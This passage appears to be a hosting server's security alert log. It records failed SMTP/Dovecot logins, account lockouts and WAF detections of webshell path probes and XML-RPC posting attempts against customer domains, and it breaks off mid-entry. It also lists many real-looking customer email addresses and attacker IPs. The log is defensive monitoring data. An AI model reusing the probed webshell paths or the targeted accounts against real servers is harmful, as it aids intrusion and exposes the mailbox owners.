name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:22:26 dovecot_login authenticator failed for H=(cTdrZ3FPTl) [185.36.81.54]:49244: 535 Incorrect authentication data (set_id=cklee)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:23:09 dovecot_login authenticator failed for H=(otDejQ) [178.16.54.22]:60558: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-02-01 01:23:50 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:36088: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:23:51 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53478: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:23:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:23:27 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:51315: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:23:08 dovecot_login authenticator failed for H=(MEwgthIg) [185.36.81.54]:62939: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:24:12 dovecot_login authenticator failed for H=(exEG5G7rgp) [185.36.81.54]:63624: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:24:02 dovecot_login authenticator failed for H=(pAnhRtfb) [178.16.54.22]:57921: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:24:54 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63226: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:24:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63895: 535 Incorrect authentication data (set_id=test@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:24:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.74.159.189
country_id: 2658434
description:
2026-02-01 01:24:57 dovecot_plain authenticator failed for H=ns97.kreativmedia.ch (ucxob8diz9gsg1vftj9) [80.74.159.189]:18094: 535 Incorrect authentication data (set_id=fasya@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.226.27.227
country_id: 294640
description:
2026-02-01 01:24:58 dovecot_plain authenticator failed for H=(ledism) [109.226.27.227]:55971: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:25:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63347: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.122
country_id: 1814991
description:
2026-02-01 01:25:23 dovecot_login authenticator failed for H=([27.24.141.122]) [27.24.141.122]:54288: 535 Incorrect authentication data (set_id=contato@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:25:33 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-02-01 01:25:34 dovecot_login authenticator failed for H=([14.46.58.104]) [14.46.58.104]:55000: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:25:08 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:57462: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.24.210.27
country_id: 1814991
description:
2026-02-01 01:25:17 dovecot_login authenticator failed for H=([1.24.210.27]) [1.24.210.27]:44840: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-02-01 01:25:26 dovecot_login authenticator failed for H=([218.156.93.203]) [218.156.93.203]:57435: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.166.123
country_id: 1605651
description:
2026-02-01 01:25:37 dovecot_login authenticator failed for H=([106.0.166.123]) [106.0.166.123]:53325: 535 Incorrect authentication data (set_id=contato)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:25:27 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53376: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.10
country_id: 1269750
description:
2026-02-01 01:25:44 dovecot_login authenticator failed for H=([182.95.25.234]) [182.95.63.10]:34018: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.236.178.43
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/monolog/monolog/src/Monolog/Handler/SwiftMailerHandler.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:25:35 dovecot_login authenticator failed for H=(PG15r7MFL) [178.16.54.22]:49706: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 01:25:01 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:42140: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:25:12 dovecot_login authenticator failed for H=(GMrz0Yqg) [185.36.81.54]:61528: 535 Incorrect authentication data (set_id=cklee)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/home/article.php||SC:/home/indfinitydesign/public_html/images/home||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:26:25 dovecot_login authenticator failed for H=(U8iRknp8U) [178.16.54.22]:61171: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:26:09 dovecot_login authenticator failed for H=(ZLG9cG6c2) [185.36.81.54]:64324: 535 Incorrect authentication data (set_id=cklee)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/druma/article.php||SC:/home/indfinitydesign/public_html/images/druma||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.79.255.104
country_id: 2017370
description:
2026-02-01 01:27:40 dovecot_login authenticator failed for H=([37.79.255.104]) [37.79.255.104]:50619: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:27:15 dovecot_login authenticator failed for H=(qORWkHjNxO) [178.16.54.22]:59907: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:27:27 dovecot_login authenticator failed for H=(FsAN7yrK45) [185.36.81.54]:63401: 535 Incorrect authentication data (set_id=stacy)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.151.182.100
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.182.11.186
country_id: 1269750
domain: manforce.net
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:10785.manforce.net||ServerName:manforce.net||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd2de1ee9bf524f16521990b5f5422830a5d8cc7||Title:0x319d3146||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 01:28:45 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:41064: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:28:06 dovecot_login authenticator failed for H=(2j5XEfQI) [178.16.54.22]:55156: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:28:10 dovecot_login authenticator failed for H=(zpjcfv) [185.36.81.54]:51439: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.13.139.61
country_id: 2510769
description:
2026-02-01 01:28:43 dovecot_login authenticator failed for H=61.red-88-13-139.dynamicip.rima-tde.net [88.13.139.61]:60140: 535 Incorrect authentication data (set_id=contato@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.167.20.72
country_id: 1814991
description:
2026-02-01 01:28:58 dovecot_login authenticator failed for H=(72.20.167.124.adsl-pool.sx.cn) [124.167.20.72]:55125: 535 Incorrect authentication data (set_id=contato)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:29:18 dovecot_login authenticator failed for H=(Xbjvk2) [185.36.81.54]:53876: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 01:29:29 dovecot_login authenticator failed for H=(ZD7tNVeO) [158.94.208.110]:64613: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 01:29:33 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:45286: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:29:38 dovecot_login authenticator failed for H=(JxOZv7t) [185.36.81.54]:50778: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:29:26 dovecot_login authenticator failed for H=(jq5Bs3SdK) [178.16.54.22]:61604: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:29:07 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:64186: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.130.200.86
country_id: 1814991
description:
2026-02-01 01:29:12 dovecot_login authenticator failed for H=([220.189.239.206]) [61.130.200.86]:43248: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:30:21 dovecot_login authenticator failed for H=(BM5Bxuimm) [178.16.54.22]:52719: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:30:17 dovecot_login authenticator failed for H=(1uofEjuZg) [185.36.81.54]:53074: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 01:30:43 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:12721: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:30:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63099: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 01:30:17 dovecot_login authenticator failed for H=(0tqEaKk) [158.94.208.110]:56211: 535 Incorrect authentication data (set_id=kasim_kn)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:31:20 dovecot_login authenticator failed for H=(8Ii6Ek81b3) [185.36.81.54]:53430: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 01:31:07 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:41502: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-02-01 01:31:07 dovecot_login authenticator failed for H=(nsg-corporate-213.230.187.122.airtel.in) [122.187.230.213]:55657: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-01 01:31:30 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:59358: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:31:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59088: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.52.206
country_id: 1269750
description:
2026-02-01 01:31:49 dovecot_login authenticator failed for H=([182.95.52.206]) [182.95.52.206]:33058: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:31:14 dovecot_login authenticator failed for H=(eutlkEZJ) [178.16.54.22]:58146: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.146
country_id: 1668284
description:
2026-02-01 01:31:39 dovecot_login authenticator failed for H=111-70-29-146.emome-ip.hinet.net [111.70.29.146]:40148: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:31:07 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:53001: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 01:31:27 dovecot_login authenticator failed for H=(NgueteY) [158.94.208.110]:61609: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 01:31:09 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:52484: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:31:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:32:22 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54720: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-02-01 01:32:40 dovecot_login authenticator failed for H=(syn-172-090-128-097.res.spectrum.com) [172.90.128.97]:57905: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.22.48.19
country_id: 2017370
description:
2026-02-01 01:32:50 dovecot_login authenticator failed for H=(zimbra.pragma.ru) [81.22.48.19]:60967: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:32:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:32:05 dovecot_login authenticator failed for H=(eXWEN6) [178.16.54.22]:58872: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:32:12 dovecot_login authenticator failed for H=(ZTMszUj4) [185.36.81.54]:60355: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:32:15 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58578: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 01:32:15 dovecot_login authenticator failed for H=(cySHjf1JK) [158.94.208.110]:52566: 535 Incorrect authentication data (set_id=kasim_kn)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.212.110.237
country_id: 3144096
description:
2026-02-01 01:33:02 dovecot_login authenticator failed for H=(cm-46.212.110.237.get.no) [46.212.110.237]:40714: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.197
country_id: 6252001
description:
2026-02-01  1:33:03 194029 [Warning] Aborted connection 194029 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.197' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.195.29.57
country_id: 2017370
description:
2026-02-01 01:33:12 dovecot_login authenticator failed for H=(109x195x29x57.static-business.saratov.ertelecom.ru) [109.195.29.57]:56450: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:33:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:33:17 dovecot_login authenticator failed for H=(kuNYwEwQ) [178.16.54.22]:53798: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:33:25 dovecot_login authenticator failed for H=(yxofBAu7e7) [185.36.81.54]:65164: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 01:33:25 dovecot_login authenticator failed for H=(JpwBh52) [158.94.208.110]:62569: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.177.29
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=936837 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 01:34:13 dovecot_login authenticator failed for H=(fd64hro) [158.94.208.110]:60705: 535 Incorrect authentication data (set_id=kasim_kn)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:34:23 dovecot_login authenticator failed for H=(w1WpwrE) [185.36.81.54]:62007: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:34:31 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:34:33 dovecot_login authenticator failed for H=(xulBT0gLM) [178.16.54.22]:61783: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:35:20 dovecot_login authenticator failed for H=(5YzO6DV) [185.36.81.54]:53107: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:35:44 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:35:46 dovecot_login authenticator failed for H=(BSYZbo4Q) [178.16.54.22]:54816: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-01 01:35:57 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:34212: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:36:42 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60919: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:36:06 dovecot_login authenticator failed for H=(KduZVZxMT) [185.36.81.54]:53642: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:36:10 dovecot_login authenticator failed for H=(RRo61f3mv) [178.16.54.22]:51135: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.178.43.84
country_id: 6252001
description:
2026-02-01 01:36:15 dovecot_login authenticator failed for H=84.sub-97-178-43.myvzw.com [97.178.43.84]:54218: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:37:24 dovecot_login authenticator failed for H=(4UxbD9Mjy) [178.16.54.22]:60447: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2026-02-01 01:37:59 dovecot_login authenticator failed for H=([222.76.248.54]) [222.76.248.54]:35886: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:37:03 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:63359: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:37:03 dovecot_login authenticator failed for H=(KplEzs) [185.36.81.54]:59561: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:37:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51794: 535 Incorrect authentication data (set_id=test@wcc.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:37:30 dovecot_login authenticator failed for H=(xGasL6Gr0j) [185.36.81.54]:51273: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:38:23 dovecot_login authenticator failed for H=(j5LHLOE) [185.36.81.54]:50724: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:38:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64861: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:38:43 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:54172: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.145.10.140
country_id: 6252001
description:
2026-02-01 01:38:32 dovecot_plain authenticator failed for H=c-76-145-10-140.hsd1.ga.comcast.net (snostrial) [76.145.10.140]:34556: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
country_id: 1835841
description:
2026-02-01 01:38:48 dovecot_login authenticator failed for H=([61.72.59.106]) [61.72.59.106]:57921: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.141
country_id: 2635167
description:
2026-02-01  1:38:13 194205 [Warning] Aborted connection 194205 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.141' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.247.171.186
country_id: 1814991
description:
2026-02-01 01:38:25 dovecot_login authenticator failed for H=([218.75.123.109]) [183.247.171.186]:56740: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:38:30 dovecot_login authenticator failed for H=(4q2L6iTJUS) [178.16.54.22]:60276: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:38:13 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:59388: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 01:38:21 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:43616: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
